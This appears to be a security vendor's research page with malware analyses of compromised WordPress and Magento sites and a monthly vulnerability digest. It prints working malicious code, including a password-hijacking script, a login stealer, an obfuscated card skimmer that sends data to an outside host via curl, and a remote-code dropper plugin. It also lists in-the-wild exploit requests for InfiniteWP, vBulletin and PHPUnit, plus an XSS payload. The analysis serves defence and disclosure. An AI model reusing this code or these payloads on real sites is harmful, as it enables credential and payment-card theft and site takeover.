Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

Malicious WordPress User Hijacker

Our analyst Liam Smith recently found a malicious file with the name wp-atom2.php on a compromised WordPress site that had been infected with pharma spam. The spam content had been found injected into the _postmeta table within the WordPress database.

The malicious wp-atom2.php file loads wp-config.php using the require_once function, which contains the database’s host, username, and password information. The attacker can then use this MySQL connection information to authenticate with the MySQL database for the targeted WordPress website.

If the attacker simply loads the file in the browser, the output will just include an array of the data found within the _users table of the WordPress database:

$sql = $mysqli->query("SELECT * FROM {$table_prefix}users LIMIT 0, 10 ");
while($rows = $sql->fetch_assoc()) {
<?php print_r($rows); ?>

This _users table output is extremely helpful to the attacker — it contains information that can be used to create a backdoor and maintain unauthorized access to the compromised environment.

Array WordPress User Hijacker

The ID value can be used to select the user that the attacker wants to change the password for. To change the password, the attacker just needs to submit a crafted GET request with the ID and pass or new parameter.

If pass is used, the attacker can provide their own MD5 hash value to be inserted into the user ID that is included in their HTTP GET request:

$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if ( isset($_GET['pass']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $pas = $_GET['pass'];
    if (isset($pas)) {
        $mysqli->query("UPDATE {$table_prefix}users SET user_pass = '{$pas}' WHERE ID = '{$id}'");

If the attacker uses new, a password value doesn’t need to be provided at all. Instead, the script defaults to the password 12345 for the provided user ID. It then goes on to use the function wp_signon to authenticate the new password and generate a hyperlink to /wp-admin that the attacker can click on for direct access to the /wp-admin interface.

} elseif ( isset($_GET['new']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $mysqli->query('UPDATE '.$table_prefix.'users SET user_pass = \'$P$BLIwZyiB0J2XvUAsNyKQI1hyEMox0A0\' WHERE ID = \''.$id.'\'');
    $creds = array();
    $sql = $mysqli->query("SELECT user_login FROM {$table_prefix}users WHERE ID = '{$id}' LIMIT 0, 1");
    $row = $sql->fetch_assoc();    $creds['user_login']     = $row['user_login'];
    $creds['user_password'] = '12345';
    $creds['remember']         = true;    
$user = wp_signon( $creds, false );    
if ( is_wp_error($user) ) {
       echo $user->get_error_message();
    } else { echo '<a href="/wp-admin/" target="_blank">Log into deep</a>'; }

The best way to mitigate risk and detect malicious activity is to leverage a website monitoring solution to identify indicators of compromise within your environment.

Magento Login Stealer in Fake bg_white.png Image

Our Remediation team analyst Ben Martin recently found a malicious injection in a compromised Magento 1.9.x installation that was stealing Magento user login credentials.

The injection was found in the core Magento file /app/code/core/Mage/Admin/Model/Session.php hiding alongside legitimate PHP code.

  $validate_session = fopen(getcwd()."/media/wysiwyg/bg_white.png", 'a+') or die("Error");
    $session_save2 =  "|Session_strat:".$_SERVER['HTTP_HOST']."Login:".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."Username:".$username."Password:".$password."IP Log:".$_SERVER['REMOTE_ADDR'] . ";" . date("m-d-y=H-i-s") . "\n";
    fwrite($validate_session, $session_save2);

The malware works by defining the $validate_session variable to use the fopen function to open the existing bg_white.png file within the /media/wysiwyg/ directory.

This directory is typically used to host various image files, so the existence of a generically named .png file is not unusual. That being said, the contents of the bg_white.png file do not contain any image data at all. Instead, the contents contain sensitive user information, including Magento usernames, passwords, visitor’s IP addresses, request timestamps, and website information.

This stolen data is gathered by the second variable $session_save2, which leverages superglobal variables and various PHP functions to gather a visitor’s login data before saving it to the file opened by variable $validate_session.

A distinct red flag that caught our attention is the size of the bg_white.png file — it can be enormous. One sample ended up being over 1.4MB in size. The fake image was using much more disk space than similar legitimate images in the same directory. The reason its large size was that it had been stealing Magento login credentials every time someone had logged into their account for over one year. This resulted in over 7,500 lines of stolen logins dating back to February 2019.

To obtain these stolen credentials, the attacker simply needs to send a request for the image file to the infected website. The image file will then be downloaded, complete with all of the stolen Magento logins. Bad actors can easily download the file automatically using a schedule tasker or cron job tool to grab the image with wget and conveniently store it at a defined location.

If you suspect that your Magento site has been compromised or login credentials are being stolen, we offer a free hacked Magento guide to assist you with clean up. Our remediation specialists are also available to lend a hand with malware removal.

Magento Credit Card Stealer: harilov[.]com

Our Remediation team lead Ben Martin recently discovered a single line obfuscated PHP injection in the main index.php file of a Magento 1.9.x website. It was being used to capture and exfiltrate payment card data from an infected website as soon as a victim submits their information.

ini_set('display_errors', 0); error_reporting(0); $hBcS = implode("_", array("str", implode("", array('ro','t13')))); $PXZum = $hBcS('onfr64_rapbqr'); $AiPVp=$hBcS('onfr64_qrpbqr'); $rKwfSV = $hBcS('frevnyvmr'); $PHCUqZ=$hBcS($AiPVp('Y2VydF96bmdwdQ==')); $kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');  if ($PHCUqZ("/".$AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=')."/i", $rKwfSV($_REQUEST))) $GwYqF=$kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")).' "'.trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")).$PXZum( $rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE))."&host=".$_SERVER["HTTP_HOST"]."\" ".trim($AiPVp('aHR0cDovL2hhcmlsb3YuY29tL3Rlc3RTZXJ2ZXIucGhw')).' '.trim($AiPVp("ID4gL2Rldi9udWxsIDI+JjEgJg==")));

After beautifying the initial injection, it becomes easier to read. The obfuscation is light and primarily uses rot13 and base64 encoding to obfuscate the actual PHP.

$hBcS = implode("_", array("str", implode("", array('ro','t13'))));
// $hBcS = str_rot13
$PXZum = $hBcS('onfr64_rapbqr');
// $PXZum = base64_encode
$AiPVp = $hBcS('onfr64_qrpbqr');
// $AiPVp = base64_decode
$rKwfSV = $hBcS('frevnyvmr');
// $rKwfSV = serialize
$PHCUqZ = $hBcS($AiPVp('Y2VydF96bmdwdQ=='));
// $PHCUqZ = preg_match
$kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');
// $kusahdjI = shell_exec

As seen above, I have included comments below the malicious lines of PHP to help clarify the decoded PHP functions. These functions are important since they are used to capture and exfiltrate the payment card data later in the code.

When decoded, the string Y2VydF96bmdwdQ== becomes the function preg_match, which is used to detect a variety of payment field details from HTTP requests data sent to the file.

Since the malicious code is being injected into Magento’s main index.php file, it is typically loaded whenever visitors make a request to the infected website’s checkout page. If one of the fields defined in the preg_match function are detected, then the PHP function shell_exec is used to initiate a curl request. This request sends the detected payment field data to the C2 host harilov[.]com/testServer[.]php through a crafted POST HTTP request.

To evade detection, the malware directs any possible output from the curl request to /dev/null. The PHP injection itself also contains error_reporting(0), which is used to silence any PHP errors occurring from the injected code.

if ($PHCUqZ("/" . $AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=') . "/i", $rKwfSV($_REQUEST)))
//if preg_match('/cvc2|username|shipping|card_number|cc_|dummy|payment|year|securetrading|firstname|expiry|month|login|cc_number|cvv|billing/i', serialize($_REQUEST))
$GwYqF = $kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")) . ' "' . trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")) . $PXZum($rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE)) . "&host=" . $_SERVER["HTTP_HOST"] . "\" " . trim($AiPVp('aHR0cDovL2xvY2FsaG9zdC9jdXJsLnBocA==')));
//shell_exec(curl --data "version=1&encode=base64_encode(serialize($_REQUEST))--cookiestring&host=hxxp%3A%2F%2Fharilov[.]com%2FtestServer.php"  > /dev/null 2>&1 &)

The best way to mitigate this type of injection is to use website monitoring with server side scanning capabilities to detect changes within the entire website environment.

Email Scraper: Mass Mail Grabber from Database

One of our Remediation team analysts, Liam Smith, discovered a malicious file on a client’s compromised WordPress website that demonstrates how attackers can use rudimentary tools to extract specific data from available databases.

In this case, a malicious PHP file was targeting email addresses stored on a compromised webserver.


The input data requested by the malicious PHP script is used to connect to the SQL server/service and access any available SQL databases. The connection information for the compromised website can be gathered from existing configuration files, such as wp-config.php and configuration.php.

Mass Mail Grabber from Database

Once the attacker completes and submits the form on mail.php, the malicious PHP code handles the rest. It connects to any available SQL databases with the login information submitted and queries them.

Mailicious PHP Code

The scraper was not elegantly designed; it’s not efficient in the methods used to perform SQL queries. As a result, it struggles to stay within reasonable max_execution_time or memory_limit limits defined by the hosting server’s php.ini settings.

This inefficiency stems from the fact that it uses the SQL user login information submitted by the attacker on the mail.php form to retrieve a list of available databases, then lists the tables for each database, and finally displays the columns for each table of each database.

Once the data is collected, the final result is then queried. The PHP function preg_match is used to look for text containing the @ symbol in the text fields of the query results. Anything containing the @ symbol is then dumped into the file result-mail.txt, which generates a hyperlink for the attacker to click and download after the malicious tool has finished running.

PHP Dropper Concealed in Malicious WordPress Plugin

Moe Obaid - an analyst from our Remediation Team - recently found a PHP dropper that had been installed as a malicious WordPress plugin. Unlike other fake plugins we’ve recently written about, this plugin had been installed and activated in the administrator backend (wp-admin) to help evade detection.

Once installed and activated, the malicious plugin’s file ./wp-content/plugins/wpfilmngr/index.php is loaded and gains access to specific WordPress PHP functions like the add_action() hook.

PHP Dropper Functionality

This malicious PHP file uses the following PHP code to operate. Pay close attention to the custom function upload1Fsociety112233:

function upload1Fsociety112233(){
        function getDataFromURLWP112233($url)
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            if (!$output) {
                $output = file_get_contents($url);
                if (!$output) {
                    $handle = fopen($url, "r");
                    $output = stream_get_contents($handle);
            if (!$output) {
                return false;
            } else {
                return $output;

        function putDataFromURLWP112233($file, $dump)
            $dump = '<?php /*' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . ' */?>' . $dump;
            file_put_contents($file, $dump);
        if(isset($_REQUEST["testingfsoc"])) {
            $url = $_REQUEST["url"];
            $fileName = $_REQUEST["filename"];
            $fullFileName = $_SERVER["DOCUMENT_ROOT"] . "/$fileName.php";
            $dataFromURL = getDataFromURLWP112233($url);

The custom function upload1Fsociety112233 is actually compromised of two separate custom functions:

  • getDataFromURLWP112233
  • putDataFromURLWP112233

The getDataFromURLWP112233 function does exactly as the name implies. It requests data from a remote host using the PHP curl function. The remote host is provided by the attacker in their crafted HTTP request with the url parameter value. It then inserts the returned data output into a .php file, along with some PHP tags and the MD5 hash values named in the attacker’s HTTP request with the filename value.

The malicious code also contains functionality that conceals the fake plugin to prevent it from being displayed to logged in users in the wp-admin backend. This is accomplished by checking for specific user-agent’s in the visitor’s request.

function validateUserAgentWP112233(){
    function checkSecretUserAgent112233($user){
        if($user == $_SERVER['HTTP_USER_AGENT']){
            return true;
            return false;
    function hookAdminPluginWP112233($plugin){
        $itemsForHooking = array($plugin);
        global $wp_list_table;
        $myData = $wp_list_table->items;
        foreach ($myData as $key => $val) {
            if (in_array($key, $itemsForHooking)) {
    if(!checkSecretUserAgent112233('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36')){

The custom function hookAdminPluginWP112233 is used to hide the plugin from view and only runs if the visitor’s user-agent does not match the defined string:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36

When the malicious plugin is active, it does not show on the active plugin page if the visitor’s user-agent does not match.

The dashboard still shows the total active plugins accurately, but this is often missed by website owners. Most WordPress installations use multiple plugins — making it more difficult to “eyeball” the number of active plugins and detect any unwanted components.

If the user-agent does match the custom function hookAdminPluginWP112233, the malicious plugin will actively display.

Stored XSS in Elementor

Exploitation Level: Easy/Requires Authentication
DREAD Score: 8.0
Vulnerability: Stored XSS
Patched Version: 2.7.6

During a routine audit of WordPress plugins last december, we discovered a Stored XSS vulnerability in the very popular Elementor Page Builder plugin, which powers no less than 3 million+ websites according to the official active installs count.

Are You Affected?

This vulnerability is exploitable on sites which allow users to have accounts and are using Elementor versions lower than 2.7.6, released last December.

A successful attack results in malicious scripts being injected on the plugin’s System Info page. If an administrator visits that page, the malicious Javascript code can execute privileged actions on the victim’s behalf, like creating new administrative accounts or storing backdoors on the site to maintain access.

Indicators of Compromise

This vulnerability can be exploited via the WordPress AJAX endpoint /wp-admin/admin-ajax.php.

Depending on the exploit, website owners may be able to flag attacks in access logs by looking for requests from unknown IPs containing action=elementor_js_log in the request.

Conclusion & Mitigation Steps

To protect against this vulnerability, we strongly encourage users of the Elementor Page Builder to update their site to the latest version available as soon as possible — 2.8.5 at the time of writing.

Users who are unable to update immediately can leverage the Sucuri Firewall or equivalent technology to virtually patch the vulnerability.

Vulnerabilities Digest: January 2020

Fixed Plugins and Vulnerabilities

Plugin Vulnerability Patched Version Installs
InfiniteWP Client Login bypass 300000
ListingPro Reflected XSS 2.5.4 13000
Travel Booking Stored XSS 7627
Real Estate 7 Stored XSS 2.9.5 7725
Computer Repair Shop Stored XSS 2.0 100
Video on Admin Dashboard Stored XSS 1.1.4 60
Marketo Forms and Tracking CSRF to XSS N/A Closed
Contextual Adminbar Color Stored XSS 0.3 50
Batch-Move Posts Stored XSS N/A Closed
WP Database Reset Database Reset 3.15 80000
Minimal Coming Soon & Maintenance Mode Stored XSS 2.15 80000
Ultimate FAQ Reflected XSS 1.8.29 40000
WP Simple Spreadsheet Fetcher For Google Arbitrary API Update 0.4.8 10
Import Users From CSV with Met Unauthorised Users Export 1.15.1 30000

Highlights for January 2020

Logical vulnerabilities in PHP code are still the most dangerous and challenging to block.

The InfiniteWP Client plugin allows site owners to manage multiple websites from one central server using the InfiniteWP Server and versions < were affected by an authentication bypass.

Exploit Attempts Seen in the Wild -- POST -- /wp-admin/ -- _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsic2l0ZV91cmwiOiJodHRwOlwvXC93ZWVkaW1wYWN0LmNvbVwvd3AtYWRtaW5cLyIsImFjdGlvbiI6ImFkZF9zaXRlIiwicHVibGljX2tleSI6IkxTMHRMUzFDUlVkSlRpQlFWVUpNU1VNZ1MwVlpMUzB0TFMwS1RVbEpRa2xxUVU1Q1oydHhhR3RwUnpsM01FSkJVVVZHUVVGUFEwRlJPRUZ....skipped..RDR1AyOStRcGtkMkRtdmRUR2VkVW5JeGFXNGkzZktDem0yd05pOUJFUTJEdkVyYUVzZ29qVkNodHZXaU5DKzhYMkI2a1wveENPK0FLYWFkUW9kRzZqVGRWQmdOeStnUzRrZElHaWhGZG9TZXRnPT0iLCJ1c2VybmFtZSI6IiIsImFjdGl2YXRpb25fa2V5IjoiNmQxOTllNjRmNjlmN2RjMjM4NGY0NThlMjEzMGU1NTI3NzZlODEzYiJ9LCJpd3BfYWRtaW5fdmVyc2lvbiI6IjIuMTUuNS4zIn0=

Detected IPs

Cross Site Scripting

Cross site scripting vulnerabilities were most predominant this month.

Contextual Adminbar Color

Contextual Adminbar Color fixed a low criticality authenticated stored cross site scripting vulnerability caused by the use of the incorrect filtering function. As mentioned in WordPress’ documentation, the function sanitize_text_field should only be used when we want to be permissive with the data we are getting from user input.

message" onfocus=confirm(123) autofocus="yes"
Patch (version 0.3)
@@ -100,6 +100,6 @@
        if ( get_option( 'contextual-adminbar-color' ) ) {
             $current_settings = get_option( 'contextual-adminbar-color' );
-            $slug = sanitize_text_field( $current_settings['slug'] );
-            $message = sanitize_text_field( $current_settings['message'] );
+            $slug = esc_html( $current_settings['slug'] );
+            $message = esc_attr( $current_settings['message'] );


UltimateFAQ fixed a medium criticality reflected cross site scripting vulnerability caused by a lack of sanitized user input.

Patch (version 1.8.30)
@@ -246,5 +246,5 @@
     elseif (isset($_GET['Display_FAQ'])) {
-        $ReturnString .= "<script>var Display_FAQ_ID = '" . $_GET['Display_FAQ'] . "-%Counter_Placeholder%';</script>";
+        $ReturnString .= "<script>var Display_FAQ_ID = '" . intval($_GET['Display_FAQ']) . "-%Counter_Placeholder%';</script>";
         $Display_FAQ_ID = $_GET['Display_FAQ'];


An RCE in vBulletin is still within the scope of attackers.

Exploit Attempts Seen in the Wild -- POST -- /forums.php -- epass=2dmfrb28nu3c6s9j&routestring=ajax/render/widget_php&widgetConfig[code]=die(@md5(HellovBulletin));

Detected IPs

A malicious campaign that peaked last year has finally ceased this past month, mostly because some sites have stopped publishing new plugin vulnerability exploits.


Attackers are still trying to leverage an RCE in PHPUnit.

Unpatched versions of PHPUnit prior to 4.8.28 and 5.6.3 allowed remote attackers to execute arbitrary PHP code via HTTP POST data.

Exploit Attempts Seen in the Wild

POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -- 

PATH / Technologies Scanned

POST -- //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //krisda/stockapi/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //pgd/pgnim/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //Cloudflare-CPanel-7.0.1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //atoms/raphaelfonseca/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //entmain/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //school/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //web.public/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //4walls/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //concrete/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpmailer/PHPMailer/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //sistema/dompdf-master/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //pid/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //digitalscience/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //fcma/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/Util/PHP/eval-stdin.php
POST -- //phpunit/Util/PHP/eval-stdin.php
POST -- //simpeg-code-dinkes/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //test/med-decision/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/Util/PHP/eval-stdin.php
POST -- //go2growApi/payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //wsviamatica/wszool/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php